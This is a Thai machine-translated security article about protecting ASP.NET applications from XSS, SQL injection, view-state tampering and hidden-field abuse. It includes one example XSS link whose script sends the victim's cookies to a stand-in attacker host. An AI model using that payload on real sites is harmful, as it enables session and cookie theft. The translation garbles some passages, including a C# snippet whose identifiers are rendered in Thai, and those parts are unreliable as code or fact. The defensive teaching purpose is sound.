ตามค่าเริ่มต้น รายการจะถูกสร้างขึ้นโดยอัตโนมัติและจัดเก็บไว้ใน Windows Local Security Authority (LSA) เฉพาะในกรณีของเว็บฟาร์ม ซึ่งคีย์เครื่องสำหรับสถานะมุมมองต้องเหมือนกันบนเครื่องทั้งหมด คุณควรระบุเป็นข้อความธรรมดาในไฟล์ machine.config

ดูสถานะการตรวจสอบ MAC ถูกควบคุมผ่านแอตทริบิวต์คำสั่ง @Page ชื่อ EnableViewStateMac ตามที่กล่าวไว้ก่อนหน้านี้ โดยค่าเริ่มต้น จะถูกตั้งค่าเป็นจริง โปรดอย่าปิดการใช้งานนี้ การทำเช่นนี้จะทำให้การโจมตีในสถานะการดูเป็นไปได้ด้วยคลิกเดียวและมีความเป็นไปได้สูงที่จะสำเร็จ
ตรวจสอบคำขอ
Cross-site scripting (XSS) เป็นเพื่อนเก่าของนักพัฒนาเว็บที่มีประสบการณ์มากมาย ซึ่งก่อตั้งมาตั้งแต่ปี 1999 พูดง่ายๆ ก็คือ XSS ใช้ประโยชน์จากช่องโหว่ในโค้ดเพื่อแนะนำโค้ดปฏิบัติการของแฮ็กเกอร์ในเซสชันเบราว์เซอร์ของผู้ใช้รายอื่น หากดำเนินการ โค้ดที่แทรกเข้าไปสามารถดำเนินการต่างๆ ได้หลายอย่าง เช่น รับคุกกี้และอัปโหลดสำเนาไปยังเว็บไซต์ที่แฮ็กเกอร์ควบคุม ตรวจสอบเซสชันเว็บของผู้ใช้และส่งต่อข้อมูล แก้ไขพฤติกรรมและรูปลักษณ์ของเพจที่ถูกแฮ็กเพื่อให้ ให้ข้อมูลอันเป็นเท็จ หรือแม้แต่ทำให้ตัวเองยืนกราน เพื่อว่าครั้งถัดไปที่ผู้ใช้กลับมาที่เพจ โค้ดหลอกลวงจะทำงานอีกครั้ง อ่านเพิ่มเติมเกี่ยวกับพื้นฐานของการโจมตี XSS ในบทความ TechNet ภาพรวมการเขียนสคริปต์ข้ามไซต์

ช่องโหว่ในโค้ดใดบ้างที่ทำให้การโจมตี XSS เกิดขึ้นได้

XSS หาประโยชน์จากเว็บแอปพลิเคชันที่สร้างเพจ HTML แบบไดนามิก แต่ไม่ได้ตรวจสอบอินพุตที่ส่งคืนไปยังเพจ อินพุตที่นี่หมายถึงสตริงการสืบค้น คุกกี้ และเนื้อหาของช่องแบบฟอร์ม หากเนื้อหานี้ปรากฏบนเว็บโดยไม่มีการตรวจสอบประสิทธิภาพที่เหมาะสม ก็มีความเสี่ยงที่แฮกเกอร์จะสามารถจัดการให้เรียกใช้สคริปต์ที่เป็นอันตรายในเบราว์เซอร์ไคลเอนต์ได้ (การโจมตีด้วยคลิกเดียวที่กล่าวถึงก่อนหน้านี้จริงๆ แล้วเป็นรูปแบบล่าสุดของ XSS) การโจมตี XSS ทั่วไปจะทำให้ผู้ใช้ที่ไม่สงสัยคลิกลิงก์ที่ดึงดูดซึ่งมีรหัสสคริปต์ Escape ที่ฝังอยู่ในลิงก์ รหัสหลอกลวงจะถูกส่งไปยังเพจที่มีช่องโหว่ซึ่งจะแสดงผลออกมาโดยไม่มีข้อสงสัย นี่คือตัวอย่างสิ่งที่อาจเกิดขึ้น:

<a href=" http://www.vulnerableserver.com/brokenpage.aspx?Name =
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
คุกกี้=' + document.cookie);
＜/script>">คลิกเพื่อรับรางวัลของคุณ</a>

ผู้ใช้คลิกลิงก์ที่ดูปลอดภัย ซึ่งท้ายที่สุดแล้วโค้ดสคริปต์บางส่วนถูกส่งไปยังเพจที่มีช่องโหว่ ก่อนอื่นโค้ดเหล่านี้จะรับคุกกี้ทั้งหมดบนคอมพิวเตอร์ของผู้ใช้ พวกเขาคือ จากนั้นจึงส่งไปยังเว็บไซต์ของแฮ็กเกอร์

โปรดทราบว่า XSS ไม่ใช่ปัญหาเฉพาะของผู้จำหน่าย ดังนั้นจึงไม่จำเป็นต้องส่งผลกระทบต่อเว็บเซิร์ฟเวอร์และเบราว์เซอร์ทั้งหมดในตลาดในปัจจุบัน

จำเป็น

ต้องทำการโจมตีด้วยการคลิกลิงก์

พิจารณาว่าอินพุตใดถูกต้องแล้วปฏิเสธอินพุตอื่นๆ ทั้งหมด คุณสามารถอ่านรายการตรวจสอบโดยละเอียดสำหรับการป้องกันการโจมตี XSS ได้ในหนังสือเล่มนี้ ฉันขอแนะนำ ที่คุณอ่านบทที่ 13

วิธีหลักในการป้องกันการโจมตี XSS ที่ร้ายกาจคือการป้อนข้อมูลของคุณ (ข้อมูลอินพุตประเภทใดก็ได้) เพิ่มเลเยอร์การตรวจสอบที่ออกแบบมาอย่างดีและมีประสิทธิภาพ ตัวอย่างเช่น

ใน

เมื่อเปิดใช้งานแอตทริบิวต์ ValidateRequest ในคำสั่ง @Page จะมีการตรวจสอบเพื่อให้แน่ใจว่าผู้ใช้ไม่ได้ส่งแท็ก HTML ที่อาจเป็นอันตรายในสตริงการสืบค้น คุกกี้ หรือช่องแบบฟอร์ม หากตรวจพบ จะมีข้อยกเว้นเกิดขึ้นและคำขอจะถูกยกเลิก โดยค่าเริ่มต้น คุณไม่จำเป็นต้องดำเนินการใดๆ เพื่อป้องกัน คุณลักษณะ

<%@ Page ValidateRequest="false" %>

ValidateRequest ไม่ใช่ยาครอบจักรวาล ไม่สามารถทดแทนเลเยอร์การตรวจสอบที่ถูกต้องได้ อ่านที่นี่ เพื่อดูข้อมูลอันมีค่ามากมายเกี่ยวกับหลักการพื้นฐานของคุณลักษณะนี้ ลำดับที่เป็นอันตรายโดยการใช้นิพจน์ทั่วไป

หมายเหตุ คุณลักษณะ ValidateRequest มีข้อผิดพลาดโดยธรรมชาติ ดังนั้น คุณต้องใช้โปรแกรมแก้ไขเพื่อให้ทำงานตามที่คาดไว้ น่าแปลกที่พบว่าหนึ่งในเครื่องของฉันยังคงได้รับผลกระทบจากข้อบกพร่องนี้

โดยไม่ได้ปิดตัวลง ValidateRequest ! เหตุผล คุณสามารถปิดการใช้งานได้ แต่คุณต้องมีเหตุผลที่ดีอย่างหนึ่ง อาจเป็นได้ว่าผู้ใช้จำเป็นต้องสามารถโพสต์ HTML บางส่วนลงในไซต์ได้เพื่อรับตัวเลือกการจัดรูปแบบที่ดีขึ้น ในกรณีนี้ คุณควรจำกัดจำนวนแท็ก HTML ที่อนุญาต (<pre>, <b>, <i>, <p>, <br>, <hr>) และเขียนนิพจน์ทั่วไปเพื่อให้แน่ใจว่าจะไม่อนุญาตให้มีสิ่งอื่นใดอีก หรือได้รับการยอมรับ

ต่อไปนี้เป็นเคล็ดลับเพิ่มเติมที่จะช่วยปกป้อง ASP.NET จากการโจมตี XSS:

• ใช้ HttpUtility.HtmlEncode เพื่อแปลงสัญลักษณ์ที่เป็นอันตรายให้เป็นตัวแทน HTML

• ใช้เครื่องหมายคำพูดคู่แทนเครื่องหมายคำพูดเดี่ยว เนื่องจากการเข้ารหัส HTML จะยกเว้นเครื่องหมายคำพูดคู่เท่านั้น

• บังคับให้โค้ดเพจจำกัดจำนวนอักขระที่สามารถใช้ได้

กล่าวโดยสรุป ให้ใช้แต่อย่าเชื่อถือคุณสมบัติ ValidateRequest อย่างสมบูรณ์ และอย่าขี้เกียจเกินไป ใช้เวลาทำความเข้าใจภัยคุกคามด้านความปลอดภัยขั้นพื้นฐาน เช่น XSS และวางแผนกลยุทธ์การป้องกันที่มีศูนย์กลางอยู่ที่จุดสำคัญเพียงจุดเดียว นั่นคือ ข้อมูลทั้งหมดที่ผู้ใช้ป้อนเป็นอันตราย
มุมมองฐานข้อมูล
การแทรก SQL เป็นอีกหนึ่งการโจมตีที่รู้จักกันดีซึ่งหาประโยชน์จากแอปพลิเคชันที่ใช้อินพุตของผู้ใช้ที่ไม่เหมาะสมเพื่อสร้างคำสั่งฐานข้อมูล หากแอปพลิเคชันใช้สิ่งที่ผู้ใช้พิมพ์ลงในฟิลด์แบบฟอร์มอย่างยินดีเพื่อสร้างสตริงคำสั่ง SQL จะทำให้คุณมีความเสี่ยงที่ผู้ใช้ที่เป็นอันตรายสามารถแก้ไขลักษณะของแบบสอบถามได้ง่ายๆ เพียงไปที่เพจและป้อนพารามิเตอร์ที่ฉ้อโกง คุณสามารถเรียนรู้เพิ่มเติมเกี่ยวกับการแทรก SQL ที่นี่

มีหลายวิธีในการป้องกันการโจมตีแบบฉีด SQL เทคนิคที่พบบ่อยที่สุดมีการอธิบายไว้ด้านล่าง

• ตรวจสอบให้แน่ใจว่าอินพุตของผู้ใช้เป็นประเภทที่เหมาะสมและเป็นไปตามรูปแบบที่ต้องการ (รหัสไปรษณีย์ หมายเลขประจำตัว อีเมล ฯลฯ) หากคาดว่าจะเป็นตัวเลขจากกล่องข้อความ ให้บล็อกคำขอเมื่อผู้ใช้ป้อนสิ่งที่ไม่สามารถแปลงเป็นตัวเลขได้

• ใช้คำสั่งแบบกำหนดพารามิเตอร์ โดยเฉพาะขั้นตอนการจัดเก็บ

• ใช้สิทธิ์ของ SQL Server เพื่อจำกัดสิ่งที่ผู้ใช้แต่ละรายสามารถทำได้บนฐานข้อมูล ตัวอย่างเช่น คุณอาจต้องปิดการใช้งาน xp_cmdshell หรือจำกัดการดำเนินการไว้เฉพาะผู้ดูแลระบบเท่านั้น

หากคุณใช้ขั้นตอนการจัดเก็บ คุณสามารถลดความเป็นไปได้ของการโจมตีนี้ได้อย่างมาก ในความเป็นจริง ด้วยขั้นตอนการจัดเก็บ คุณไม่จำเป็นต้องเขียนสตริง SQL แบบไดนามิก นอกจากนี้ SQL Server จะตรวจสอบว่าพารามิเตอร์ทั้งหมดมีประเภทที่ระบุ แม้ว่าเทคนิคเหล่านี้เพียงอย่างเดียวจะไม่ปลอดภัย 100% แต่เมื่อรวมกับการตรวจสอบแล้ว เทคนิคเหล่านี้ก็เพียงพอที่จะปรับปรุงความปลอดภัยได้

ที่สำคัญกว่านั้น คุณควรตรวจสอบให้แน่ใจว่ามีเพียงผู้ใช้ที่ได้รับอนุญาตเท่านั้นที่สามารถดำเนินการที่อาจมีผลกระทบร้ายแรง เช่น การลบตาราง จำเป็นต้องมีการออกแบบระดับกลางของแอปพลิเคชันอย่างระมัดระวัง เทคนิคที่ดี (ไม่ใช่แค่เพื่อความปลอดภัย) คือการให้ความสำคัญกับตัวละคร ผู้ใช้ควรถูกจัดกลุ่มตามบทบาทและบัญชีที่กำหนดด้วยชุดสิทธิ์ขั้นต่ำสำหรับแต่ละบทบาท

เมื่อไม่กี่สัปดาห์ก่อน เว็บไซต์ Wintellect ถูกโจมตีด้วยการแทรก SQL ที่ซับซ้อนมาก แฮกเกอร์พยายามสร้างและเปิดใช้สคริปต์ FTP เพื่อดาวน์โหลดโปรแกรมปฏิบัติการที่อาจเป็นอันตราย โชคดีที่การโจมตีล้มเหลว หรือแท้จริงแล้วเป็นการรับรองความถูกต้องของผู้ใช้ที่แข็งแกร่ง การใช้ขั้นตอนการจัดเก็บ และการใช้สิทธิ์ SQL Server ที่ทำให้การโจมตีล้มเหลว

โดยสรุป คุณควรปฏิบัติตามหลักเกณฑ์เหล่านี้เพื่อหลีกเลี่ยงการถูกแทรกโค้ด SQL ที่เป็นอันตราย:

• รันโดยมีสิทธิ์พิเศษน้อยที่สุดเท่าที่จะเป็นไปได้ และอย่ารันโค้ดด้วยชื่อ "sa"

• จำกัดการเข้าถึงขั้นตอนการจัดเก็บในตัว

• ต้องการใช้คำสั่ง SQL แบบกำหนดพารามิเตอร์

• คำสั่งจะไม่ถูกสร้างขึ้นผ่านการต่อสตริงและข้อผิดพลาดของฐานข้อมูลจะไม่ถูกสะท้อน

กลับไปด้านบน ฟิลด์ที่ซ่อน ใน ASP แบบดั้งเดิม ฟิลด์ที่ซ่อนเป็นวิธีเดียวที่จะคงข้อมูลระหว่างคำขอ ข้อมูลใดๆ ที่คุณต้องการเรียกค้นในคำขอถัดไปจะถูกบรรจุลงในฟิลด์ <input> ที่ซ่อนอยู่ และดำเนินการส่งคืน จะเกิดอะไรขึ้นหากมีคนแก้ไขค่าที่เก็บไว้ในฟิลด์นี้บนไคลเอนต์ ตราบใดที่ข้อความมีความชัดเจน สภาพแวดล้อมฝั่งเซิร์ฟเวอร์ก็ตรวจไม่พบสิ่งนี้ ใน ASP.NET คุณสมบัติ ViewState ของเพจและการควบคุมแต่ละรายการมีจุดประสงค์สองประการ ในอีกด้านหนึ่ง ViewState เป็นวิธีหนึ่งในการคงสถานะข้ามคำขอ ในทางกลับกัน ViewState ช่วยให้คุณสามารถจัดเก็บค่าที่กำหนดเองในฟิลด์ที่ซ่อนอยู่ซึ่งได้รับการปกป้องและไม่สามารถแก้ไขได้อย่างง่ายดาย

ดังแสดงในรูปที่ 2 สถานะมุมมองจะถูกต่อท้ายด้วยค่าแฮช และสำหรับแต่ละคำขอ ค่านี้จะถูกตรวจสอบเพื่อตรวจสอบว่ามีการปลอมแปลงเกิดขึ้นหรือไม่ ไม่มีเหตุผลที่จะใช้ฟิลด์ที่ซ่อนอยู่ใน ASP.NET ยกเว้นในบางกรณี ดูสถานะบรรลุฟังก์ชันการทำงานเดียวกันในวิธีที่ปลอดภัยกว่ามาก ตามที่กล่าวไว้ในทันที การจัดเก็บค่าที่ละเอียดอ่อน (เช่น ราคาหรือรายละเอียดบัตรเครดิต) ในช่องที่ซ่อนอยู่ในการเปิดประตูสู่แฮกเกอร์ สถานะการดูยังทำให้แนวทางปฏิบัติที่ไม่ดีนี้ปลอดภัยมากขึ้นกว่าเดิม เนื่องจากสถานะการดูมี กลไกการปกป้องข้อมูล อย่างไรก็ตาม โปรดทราบว่าสถานะการดูนั้นป้องกันการงัดแงะ แต่ไม่รับประกันการรักษาความลับเว้นแต่ว่ามีการใช้การเข้ารหัส รายละเอียดบัตรเครดิตที่จัดเก็บไว้ในสถานะการดูก็ยังมีความเสี่ยงอยู่ดี

ใน ASP.NET เมื่อใดที่สามารถใช้ฟิลด์ที่ซ่อนอยู่ได้ เมื่อคุณสร้างตัวควบคุมแบบกำหนดเองที่ต้องการส่งข้อมูลกลับไปยังเซิร์ฟเวอร์ ตัวอย่างเช่น สมมติว่าคุณต้องการสร้างตัวควบคุม DataGrid ใหม่ที่รองรับการเรียงลำดับคอลัมน์ใหม่ คุณต้องส่งคำสั่งซื้อใหม่กลับไปยังเซิร์ฟเวอร์ในรูปแบบ postback หากไม่จัดเก็บข้อมูลนี้ในช่องที่ซ่อนอยู่จะเก็บไว้ที่ไหน?

หากฟิลด์ที่ซ่อนอยู่เป็นฟิลด์อ่าน/เขียน กล่าวคือ ไคลเอนต์ถูกคาดหวังให้เขียนลงไป ไม่มีทางที่จะป้องกันการโจมตีของแฮ็กเกอร์ได้อย่างสมบูรณ์ คุณสามารถลองแฮชหรือเข้ารหัสข้อความได้ แต่นั่นไม่ได้ทำให้คุณมั่นใจว่าข้อความนั้นจะไม่ถูกแฮ็ก ณ จุดนี้ การป้องกันที่ดีที่สุดคือการให้ฟิลด์ที่ซ่อนอยู่มีข้อมูลที่เฉื่อยและไม่เป็นอันตราย

นอกจากนี้ ควรสังเกตว่า ASP.NET เปิดเผยคลาสที่รู้จักกันน้อยซึ่งสามารถใช้ในการเข้ารหัสและแฮชอ็อบเจ็กต์ซีเรียลไลซ์ใดๆ คลาสนี้คือ LosFormatter ซึ่งเป็นคลาสเดียวกับที่ ViewState ใช้เพื่อสร้างข้อความที่เข้ารหัสกลับไปยังไคลเอนต์

สตริงส่วนตัว EncodeText (ข้อความสตริง) {
ผู้เขียน StringWriter = StringWriter ใหม่ ();
ตัวจัดรูปแบบ LosFormatter = ใหม่ LosFormatter();
formatter.Serialize (ผู้เขียน ข้อความ);
กลับผู้เขียน ToString();
}

ข้อมูลโค้ดก่อนหน้านี้สาธิตวิธีใช้ LosFormatter เพื่อสร้างสถานะต่างๆ เช่น สถานะการดู เข้ารหัส และแฮช
อีเมลและสแปม ในตอนท้ายของบทความนี้ ฉันขอชี้ให้เห็นว่าการโจมตีที่พบบ่อยที่สุดอย่างน้อยสองครั้ง (XSS แบบคลาสสิกและคลิกเดียว) มักกระทำโดยการล่อลวงเหยื่อที่ไม่สงสัยให้คลิกที่ลิงก์ที่ล่อลวงและหลอกลวง หลายครั้งที่เราพบลิงก์ดังกล่าวในกล่องจดหมายของเรา แม้ว่าจะมีตัวกรองป้องกันสแปมก็ตาม คุณสามารถซื้อที่อยู่อีเมลจำนวนมากได้ในราคาไม่กี่ดอลลาร์ หนึ่งในเทคนิคหลักที่ใช้ในการสร้างรายการดังกล่าวคือการสแกนหน้าสาธารณะบนเว็บไซต์เพื่อค้นหาและเรียกค้นสิ่งที่ดูเหมือนข้อความอีเมล

หากมีการแสดงที่อยู่อีเมลบนเพจ อาจเป็นไปได้ว่าไม่ช้าก็เร็วโปรแกรมเว็บอัตโนมัติจะบันทึกที่อยู่นั้นไว้ จริงหรือ แน่นอนว่าขึ้นอยู่กับวิธีการแสดงอีเมลด้วย หากคุณฮาร์ดโค้ดคุณจะสูญเสีย ไม่ชัดเจนว่าการนำเสนออื่น เช่น dino-at-microsoft-dot-com จะสามารถหลอกโปรแกรมเว็บอัตโนมัติได้ แต่จะทำให้ใครก็ตามที่อ่านหน้าเว็บของคุณต้องการสร้างการเชื่อมต่อที่ถูกต้องโกรธอย่างแน่นอน

โดยทั่วไป คุณควรกำหนดวิธีการสร้างข้อความอีเมลแบบไดนามิกเป็นลิงก์ mailto องค์ประกอบฟรีที่เขียนโดย Marco Bellinaso ไม่เพียงแค่นั้น คุณสามารถขอรับซอร์สโค้ดแบบเต็มสำหรับส่วนประกอบนี้ได้จากเว็บไซต์ DotNet2TheMax

สรุป มีใครสงสัยว่าเว็บอาจเป็นสภาพแวดล้อมรันไทม์ที่ไม่เป็นมิตรมากที่สุดหรือไม่? สาเหตุที่แท้จริงคือใครก็ตามสามารถเข้าถึงเว็บไซต์และพยายามส่งข้อมูลที่ดีหรือไม่ดีไปให้เว็บไซต์นั้น แต่จุดประสงค์ของการสร้างเว็บแอปพลิเคชันที่ไม่ยอมรับการป้อนข้อมูลของผู้ใช้คืออะไร

ยอมรับเถอะ: ไม่ว่าไฟร์วอลล์ของคุณจะทรงพลังแค่ไหน ไม่ว่าคุณจะใช้แพตช์ที่มีอยู่บ่อยแค่ไหน ตราบใดที่คุณใช้งานเว็บแอปพลิเคชันที่มีข้อบกพร่องโดยธรรมชาติ ไม่ช้าก็เร็วผู้โจมตีจะสามารถเข้าถึงช่องทางหลักได้โดยตรง ซึ่งเป็นพอร์ต 80 เข้าถึงหัวใจของระบบของคุณ

แอปพลิเคชัน ASP.NET ไม่มีความเสี่ยงและปลอดภัยกว่าแอปพลิเคชันเว็บอื่นๆ ความปลอดภัยและช่องโหว่มีรากฐานมาจากแนวทางปฏิบัติในการเขียนโค้ด ประสบการณ์จริง และการทำงานเป็นทีมไม่แพ้กัน หากเครือข่ายไม่ปลอดภัย ก็ไม่มีแอปพลิเคชันใดที่ปลอดภัยในทำนองเดียวกัน ไม่ว่าเครือข่ายจะปลอดภัยและมีการจัดการที่ดีเพียงใด หากแอปพลิเคชันมีข้อบกพร่อง ผู้โจมตีจะสามารถเข้าถึงได้ตลอดเวลา

ข้อดีของ ASP.NET คือมีเครื่องมือดีๆ ที่สามารถยกระดับมาตรฐานความปลอดภัยให้อยู่ในระดับที่ยอมรับได้แม้จะใช้งานเพียงเล็กน้อยก็ตาม แน่นอนว่านี่ไม่ใช่ระดับที่สูงพอ คุณไม่ควรพึ่งพาโซลูชันในตัวของ ASP.NET เพียงอย่างเดียว และไม่ควรละเลยโซลูชันเหล่านั้น เรียนรู้ให้มากที่สุดเกี่ยวกับการโจมตีทั่วไป

บทความนี้แสดงรายการคุณลักษณะในตัวพร้อมคำอธิบายประกอบ ตลอดจนข้อมูลเบื้องต้นเกี่ยวกับการโจมตีและการป้องกัน เทคนิคที่ใช้ในการตรวจจับการโจมตีขาออกเป็นอีกเรื่องหนึ่งและอาจสมควรได้รับบทความของตนเอง